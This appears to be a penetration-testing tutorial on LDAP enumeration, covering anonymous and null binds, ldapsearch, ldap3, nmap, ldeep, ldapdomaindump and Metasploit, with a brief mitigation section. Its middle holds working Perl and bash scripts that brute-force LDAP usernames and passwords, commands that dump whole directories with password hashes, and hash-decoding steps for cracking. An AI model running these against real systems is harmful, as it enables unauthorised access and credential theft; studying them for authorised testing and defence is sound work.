Table of Contents
LDAP (Lightweight Directory Access Protocol) enumeration is a technique attackers use to gather information from an LDAP directory. This directory often contains valuable data about users, systems, and other resources within an organization.
What is LDAP?
LDAP is a protocol used to access and manage directory information over an IP network. It is widely used for directory services like Active Directory in Windows environments. it is part of ENUMERATION IN CYBER SECURITY professional.
How LDAP Works
- Directory Listings:
- LDAP provides access to directory listings, like a corporate email directory or a list of employees in a company.
- This directory is organized in a hierarchical structure, similar to an organizational chart.
- Accessing the Directory:
- A client (user or application) starts an LDAP session by connecting to a Directory System Agent (DSA).
- The connection usually happens on TCP port 389 or 636.
- The client sends requests to the DSA to retrieve or modify information in the directory.
- Information is transmitted using a format called Basic Encoding Rules (BER).
- DNS Integration:
- LDAP uses Domain Name System (DNS) for quick lookups and resolving queries efficiently.
What is LDAP enumeration?
LDAP enumeration is the process of querying LDAP (Lightweight Directory Access Protocol) servers to gather information about users, groups, and other objects in a network directory service.
Information Gathered by LDAP Enumeration
- Usernames
- Groups
- Email addresses
- Department details
- Server names
Techniques Used in LDAP Enumeration
- Anonymous Binds:
- Some LDAP servers allow anonymous access, meaning an attacker can query the directory without authentication. This can reveal a significant amount of information if not properly secured.
- Authenticated Binds:
- Attackers may use valid credentials to bind to the LDAP server. This usually provides more extensive access to directory information compared to anonymous binds.
- Search Queries:
- LDAP uses a specific query language to search for directory entries. Attackers craft queries to extract specific pieces of information. Common attributes targeted include
uid
(user ID),cn
(common name), andmail
(email address).
- LDAP uses a specific query language to search for directory entries. Attackers craft queries to extract specific pieces of information. Common attributes targeted include
- NULL Bind:
- Similar to an anonymous bind, a NULL bind involves sending a bind request with an empty DN and password. If the server allows it, you may gain some access.
- Exploiting Misconfigurations:
- Look for misconfigurations that might allow unauthenticated access. This could include misconfigured access control lists (ACLs) or services exposed to the network that shouldn’t be.
LDAP Enumeration Example Scenario
Normal Use:
- You (a legitimate user) want to find someone’s email address in your company’s directory.
- You connect to the LDAP server and request the email address.
- The LDAP server provides you with the information.
Malicious Use:
- An attacker wants to gather information about your company.
- They connect to the LDAP server and query it for usernames, email addresses, and other details.
- They gather this information without needing special permissions.
Simplified Example
Imagine LDAP as a big filing cabinet in an office:
- Normal Use: You have permission to open the cabinet and look up phone numbers or email addresses of your colleagues.
- Enumeration: Someone sneaks into the office and starts looking through the cabinet to collect information about the employees and the company.
Requirements to perform LDAP Enumeration
Before performing LDAP enumeration, there are several prerequisites to consider:
- Access: Ensure you have legitimate access credentials (username and password) to authenticate to the LDAP server.
- Tools: You’ll need suitable tools for LDAP enumeration. Common tools include:
- ldapsearch: A command-line utility to query LDAP servers.
- LDAP Explorer Tool: GUI-based tool for browsing and querying LDAP directories.
- JXplorer: Another GUI tool for exploring LDAP directories.
- Knowledge of LDAP Structure: Understanding the LDAP directory structure of the target organization can help you navigate and retrieve relevant information efficiently.
- LDAP Server Details: Know the LDAP server’s hostname or IP address, and port number (usually 389 for LDAP, or 636 for LDAPS – LDAP over SSL), and if LDAPS is used, ensure you have the necessary certificates. Base DN (Distinguished Name) which specifies the starting point of the LDAP search
- Permissions: Ensure you have appropriate permissions to query the LDAP directory. Depending on the setup, you might need read access to certain parts of the directory.
- Security Considerations: Be mindful of security best practices, especially if performing LDAP enumeration in a production environment. Avoid unnecessary queries that could overload the server or leak sensitive information.
Requirements of LDAP enumeration without credential
Performing LDAP enumeration without credentials (anonymous enumeration) is possible in some environments where the LDAP server allows anonymous access to certain parts of the directory. Here are the requirements and considerations for LDAP enumeration without credentials:
- Anonymous Access Enabled: The LDAP server must allow anonymous binds and queries. This means you can connect to the LDAP server and query information without providing explicit credentials.
- LDAP Server Information: Similar to authenticated enumeration, you need to know:
- Hostname or IP address of the LDAP server
- Port number (typically 389 for LDAP, or 636 for LDAPS)
- Base DN (Distinguished Name) which specifies the starting point of the LDAP search
- Protocol (LDAP or LDAPS)
- LDAP Enumeration Tool: Use tools such as
ldapsearch
(command-line utility) or LDAP browser tools that support anonymous access. Tools like JXplorer or LDAP Explorer can be configured to perform anonymous queries. - Understanding LDAP Schema and Filters: Knowledge of the LDAP schema and how to construct LDAP filters is still important. This helps you formulate queries to retrieve specific information from the directory.
LDAP enumeration Tools
First, we scan the host with Nmap to verify if port 389 is indeed open.
nmap -sV -p389 <target_ip>
PORT STATE SERVICE VERSION
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
Manual LDAP Enumeration
Using Python (ldap3 Library)
You can connect to an LDAP server using Python with the ldap3 library.
pip install ldap3
>> import ldap3
>> server=ldap3.Server('<ip_address>',get_info=ldap3.ALL, port=389)
>> connection=ldap3.Connection(server)
>> connection.bind()
true
>> server.info
After obtaining the naming context, retrieve all the directory objects using the script given below:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
true
>> connection.entries
DC=Domain Controler, Example: NEWSTORIAL, and Another DC is COM.
Now, use the following script to dump the entire LDAP:
>> connection.search (search_base='DC=DOMAIN,DC=DOMAIN' ,
search filter='(&(objectClass=person))', search_scope='SUBTREE',
attributes='userPassword')
true
>> connection.entries
Automated LDAP Enumeration
LDAP Enumeration Using ldapsearch
ldapsearch is a shell-accessible interface for the ldap_search_ex(t3) library call. ldapsearch opens a connection to an LDAP server, binds it, and performs a search using the specified parameters. The filter should conform to the string representation of the search filters, as defined in RFC 4515. If not provided, the default filter, (objectClass=*), is used.
If ldapsearch finds one or more entries, the attributes specified by attrs are returned. If * is listed, all user attributes are returned. If + is listed, all operational attributes are returned. If no attrs are listed, all user attributes are returned. If only 1.1 is listed, no attributes are returned.
The search results are displayed using an extended version of the LDAP Data Interchange Format (LDIF). The option -1 controls the output format.
Attackers use ldapsearch to enumerate AD users. This allows attackers to establish connections with an LDAP server to perform different searches using specific filters. The following command can be used to perform an LDAP search using simple authentication:
ldapsearch -H ldap://<Target IP Address> -x
If the above command is executed successfully, the following command can be executed to obtain additional details related to the naming contexts:
ldapsearch -H ldap://<Target IP Address> -x -s base namingcontexts
For example, from the output of the above command, if the primary domain component can be identified as Dc=htb, DC=local , the following command can be used to obtain.
more information about the primary domain:
ldapsearch -H ldap://<Target IP Address> -x -b “DC=htb,DC=local”
The following commands can be used to retrieve information about a specific object or all the objects in a directory tree:
ldapsearch -H ldap://<Target IP Address> -x -b "DC=htb,DC=local" ' (objectClass=Employee)'
retrieves information related to the object class Employee.
ldapsearch -H ldap://<Target IP Address> -b "DC=htb,DC=local"
"objectclass=*"
retrieves information related to all the objects in the directory tree.
The following command retrieves a list of users belonging to a particular object class:
ldapsearch -H ldap://<Target IP Address> -x -b "DC=htb,DC=local"
'(objectClass= Employee) ' sAMAccountName sAMAccountType
enumerate info in a base (e.g. naming context = DC=DOMAIN,DC=LOCAL)
ldapsearch -H "ldap://Target_ip" -x -b "DC=DOMAIN_name,DC=LOCAL"
Advanced Method>>>>>
Anonymous Bind
Anonymous Bind Our next test is to see if this LDAP server is vulnerable to a NULL base or anonymous bind. We will search for all Distinguished Names (DN) in the tree.
ldapsearch -x -b "dc=domain_name,dc=com" "*" -h <target_ip> | awk '/dn: / {print $2}'
dc=acme,dc=com
cn=admin,dc=acme,dc=com
cn=ldapusers,dc=acme,dc=com
cn=evelyn
cn=sales,dc=acme,dc=com
ou=direct,cn=sales,dc=acme,dc=com
ou=channel,cn=sales,dc=acme,dc=com
cn=support,dc=acme,dc=com
cn=training,dc=acme,dc=com
ou=helpdesk,cn=support,dc=acme,dc=com
ou=escalation,cn=support,dc=acme,dc=com
ou=instructors,cn=training,dc=acme,dc=com
ou=course
cn=chris
cn=sam
cn=justin
cn=heath
cn=nick
cn=eric
cn=tim
cn=vaj
In this case anonymous bind is allowed and we are able to traverse the directory tree as we would if we were a authenticated user. We can go further by pilfering through the directory and find all the user and user names on the server.
Unauthenticated Bind Enumeration (DN with no password)
Lets try a search for all user id’s in the directory subtree using the DN cn=admin,dc=acme,dc=com
and no password.
ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h <target_ip> | awk '/uid: /{print $2}' | nl
1 esampson
2 cchiu
3 skumar
4 jsmith
5 hahmad
6 nolsen
7 ealvarez
8 tmoreau
9 vpatel
This what you will see if you come upon a server where unauthenticated binds are disallowed:
ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h <target_ip>
ldap_bind: Server is unwilling to perform (53)
additional info: unauthenticated bind (DN with no password) disallowed
Unauthenticated Binds are only allowed if Anonymous Binds are also enabled.
Authenticated Bind Enumeration
Dictonary attack to find valid users
We can use Perl and the Net::LDAP module to check for valid users on the remote LDAP server. The simple script below searches for valid users and returns a distinguished name if found. This will help us in our next step which is to guess passwords for the accounts we find in this search.
#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;
my $server = "ldap.domain_name.com";
my $base = "dc=domain_name,dc=com";
my $filename = "users.txt";
open(my $fh, '<', $filename) or die $!;
my $ldap = Net::LDAP->new($server) or die $@;
while (my $word = <$fh>) {
chomp($word);
my $search = $ldap->search(
base => $base,
scope => 'sub',
filter => '(&(uid='.$word.'))',
attrs => ['dn']
);
print "[+] Found valid login name $word\n" if(defined($search->entry));
}
We now run the script and fuzz for users on the server
./ldap-users.pl
[+] Found valid login name twest
[+] Found valid login name vpatel
Dictonary attack to find valid password
Once we have a valid list of users on the server, we can move forward to search for valid user and password combinations. We can use Perl and Net::LDAP to query the server and test for valid logins.
#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;
my $server = "ldap.acme.com";
my $user = "twest";
my $base = "dc=acme,dc=com";
my $filename = "wordlist.txt";
open(my $fh, '<', $filename) or die $!;
my $ldap = Net::LDAP->new($server) or die $@;
my $search = $ldap->search(
base => $base,
scope => 'sub',
filter => '(&(uid='.$user.'))',
attrs => ['dn']
);
if(defined($search->entry)) {
my $user_dn = $search->entry->dn;
print "[*] Searching for valid LDAP login for $user_dn...\n";
while (my $word = <$fh>) {
chomp($word);
my $mesg = $ldap->bind($user_dn, password => $word);
if ($mesg and $mesg->code() == 0) {
print "[+] Found valid login $user_dn / $word\n";
exit;
}
}
} else {
print "[x] $user is not a valid LDAP user...\n";
exit;
}
print "[x] No valid LDAP logins found...\n";
Running the script against the server we get the following
./ldap-passwords.pl
[*] Searching for valid LDAP login for cn=tim west,ou=channel,cn=sales,dc=acme,dc=com...
[+] Found valid login cn=tim west,ou=channel,cn=sales,dc=acme,dc=com / password
Using ldapwhoami to gain access
Here is a script to test a list of passwords against a valid Distingushed Name (DN) on a remote host.
#!/usr/bin/env bash
##
## Dictonary password attack against a valid DN using ldapwhoami
##
dn="cn=admin,dc=acme,dc=com"
host="ldap.acme.com"
list="wordlist.txt"
file=$(<${list})
wordlist=(`echo $file | sed 's/ /\n/g'`)
for word in "${wordlist[@]}"
do
ldapwhoami -h ${host} -D "${dn}" -w "${word}" 2>/dev/null
if [ $? == 0 ]
then
echo "Password \`${word}\` found for user"
fi
done
if we run the shell script we should see this on success.
./ldapwhoami-dictonary.sh
dn:cn=admin,dc=acme,dc=com
Password `ldapadmin` found for user
Dumping data
If we do an ldap search with our user and pass with a search filter of (objectClass=*), a dump of the whole directory tree from admin.
ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
# extended LDIF
#
# LDAPv3
# base (default) with scope subtree
# filter: (objectclass=*)
# requesting: *
#
# acme.com
dn: dc=acme,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Acme
dc: acme
# admin, acme.com
dn: cn=admin,dc=acme,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9SW5uaE9PdFRmdENveWhPUDFTUFVnSnNMZ3ZxSVA3aUw=
# ldapusers, acme.com
dn: cn=ldapusers,dc=acme,dc=com
...
Cracking OpenLDAP Passwords
the password hashes are encoded in base64 we can easly decode the string to extract the hash
echo "e01ENX0wTHVBcXJ1R0diYmpVUlB3TG5KMUt3PT0=" | base64 -d
{MD5}0LuAqruGGbbjURPwLnJ1Kw==
LDAP Enumeration Using ldeep
The ldeep (Python) tool can be used to enumerate essential information like delegations, gpo, groups, machines, pso, trusts, users, and so on.
remotely dump information
ldeep ldap -u USER_name -p 'PASSWORD' -d DOMAIN_name -s ldap://domain_ip all ldeepdump/domain_name
parse saved information (in this case, enumerate trusts)
ldeep cache -d "ldeepdump" -p DOMAIN_name trusts
LDAP Enumeration Using Nmap
nmap -n -sV --script "ldap* and not brute" <IP>
another
nmap --script ldap-rootdse -p 389 <hostname>
nmap has a script ldap-rootdse that can be used to query the LDAP Root DSE (Directory Server Entry) for information.
or
nmap -p389 --script ldap-brute --script-args ldap.base='"cn=users ,dc=CEH,dc=com"' <target_ip>
LDAP Enumeration Using ldapdomaindump
With Credentials
ldapdomaindump -u security.local\\<User> -p '<Password>' ldap://<IP>
Without credentials
ldapdomaindump ldap://<IP>
LDAP Enumeration Using Metasploit Framework
msfconsole
use auxiliary/scanner/ldap/ldap_search
set RHOSTS target_ip
set BASEDN dc=example,dc=com
run
another
use auxiliary/gather/ldap_hashdump
How to perform LDAP enumeration when the port is filtered?
When the LDAP port (usually port 389 for LDAP and 636 for LDAPS) is filtered, it typically means that some form of firewall or network filtering is blocking direct access to the LDAP server on that port. Here are several approaches you can consider to perform LDAP enumeration in such scenarios:
- Use LDAPS (LDAP over SSL/TLS)
- If port 636 (LDAPS) is open and accessible, you can try to connect using LDAPS instead of LDAP. LDAPS encrypts the LDAP traffic over SSL/TLS and is commonly used for secure LDAP communications. Modify your ldap3 connection setup to use LDAPS:
import ldap3
# LDAPS connection
server = ldap3.Server('ldap://ldap.example.com:636', use_ssl=True, get_info=ldap3.ALL)
Ensure that you have the correct SSL certificates configured if the server requires client authentication.
- Tunneling through SSH
- If SSH (port 22) is open and accessible, you can create an SSH tunnel to forward local ports to remote LDAP ports securely:
ssh -L 389:localhost:389 [email protected]
Replace ldap.example.com
with your LDAP server’s hostname or IP address. After establishing the SSH tunnel, configure your LDAP client or script to connect to localhost
on port 389
(or 636
for LDAPS).
- HTTP Proxy:
- If HTTP (port 80) or HTTPS (port 443) is open, consider using tools that support HTTP CONNECT method to proxy LDAP traffic. Tools like socat or custom scripts can be used for this purpose.
Mitigating LDAP Enumeration
- Limit Anonymous Access
- Configure LDAP servers to restrict or disable anonymous binds. This forces users to authenticate before accessing the directory.
- Use Strong Authentication
- Implement strong authentication mechanisms to protect LDAP access. Consider using multi-factor authentication (MFA) for added security.
- Access Controls
- Apply strict access control policies to limit who can query the LDAP directory and what information they can retrieve. Ensure that only necessary attributes are visible to authenticated users.
- Monitoring and Logging
- Enable detailed logging and monitoring of LDAP queries and access patterns. This helps in detecting and responding to suspicious activities.
- Regular Audits
- Perform regular audits of LDAP permissions and configurations to ensure they adhere to best security practices.
Conclusions:
LDAP enumeration is a critical aspect of cybersecurity assessments and penetration testing, providing insights into the structure and sensitive information stored within LDAP directories. Through systematic querying and analysis, security professionals can identify vulnerabilities, potential attack vectors, and weaknesses in organizational security posture.
Key topics:
- Techniques Used in LDAP Enumeration
- LDAP Enumeration Example Scenario
- Requirements to perform LDAP Enumeration
- Requirements of LDAP enumeration without credential
- LDAP enumeration Tools
- Manual LDAP Enumeration
- Automated LDAP Enumeration
- LDAP Enumeration Using ldapsearch
- Unauthenticated Bind Enumeration (DN with no password)
- Anonymous Bind
- Dictonary attack to find valid password
- Using ldapwhoami to gain access
- Cracking OpenLDAP Passwords
- LDAP Enumeration Using ldeep
- LDAP Enumeration Using Nmap
- LDAP Enumeration Using ldapdomaindump
- LDAP Enumeration Using Metasploit Framework
- How to perform LDAP enumeration when the port is filtered?
- Mitigating LDAP Enumeration
FAQs:
-
Why is LDAP enumeration performed?
LDAP enumeration is typically performed for reconnaissance purposes in cybersecurity assessments or penetration testing. It helps identify valid usernames, group memberships, organizational structures, and potentially sensitive information that can aid in further exploitation.
-
What are some common tools used for LDAP enumeration?
Tools such as ldapsearch, ldapenum, ADRecon, and BloodHound are commonly used for LDAP enumeration. These tools automate the process of querying LDAP directories and extracting relevant information.
-
How can LDAP enumeration be prevented or mitigated?
Organizations can mitigate LDAP enumeration risks by implementing strict access controls, regularly auditing LDAP configurations, limiting the information exposed through LDAP queries, and ensuring that LDAP servers are properly secured and monitored.
-
What are the best practices for securing LDAP directories against enumeration attacks?
Best practices include implementing strong authentication mechanisms, encrypting LDAP traffic using protocols like LDAPS (LDAP over SSL/TLS), restricting anonymous access, using firewall rules to control access to LDAP servers, and regularly updating LDAP server software to patch vulnerabilities.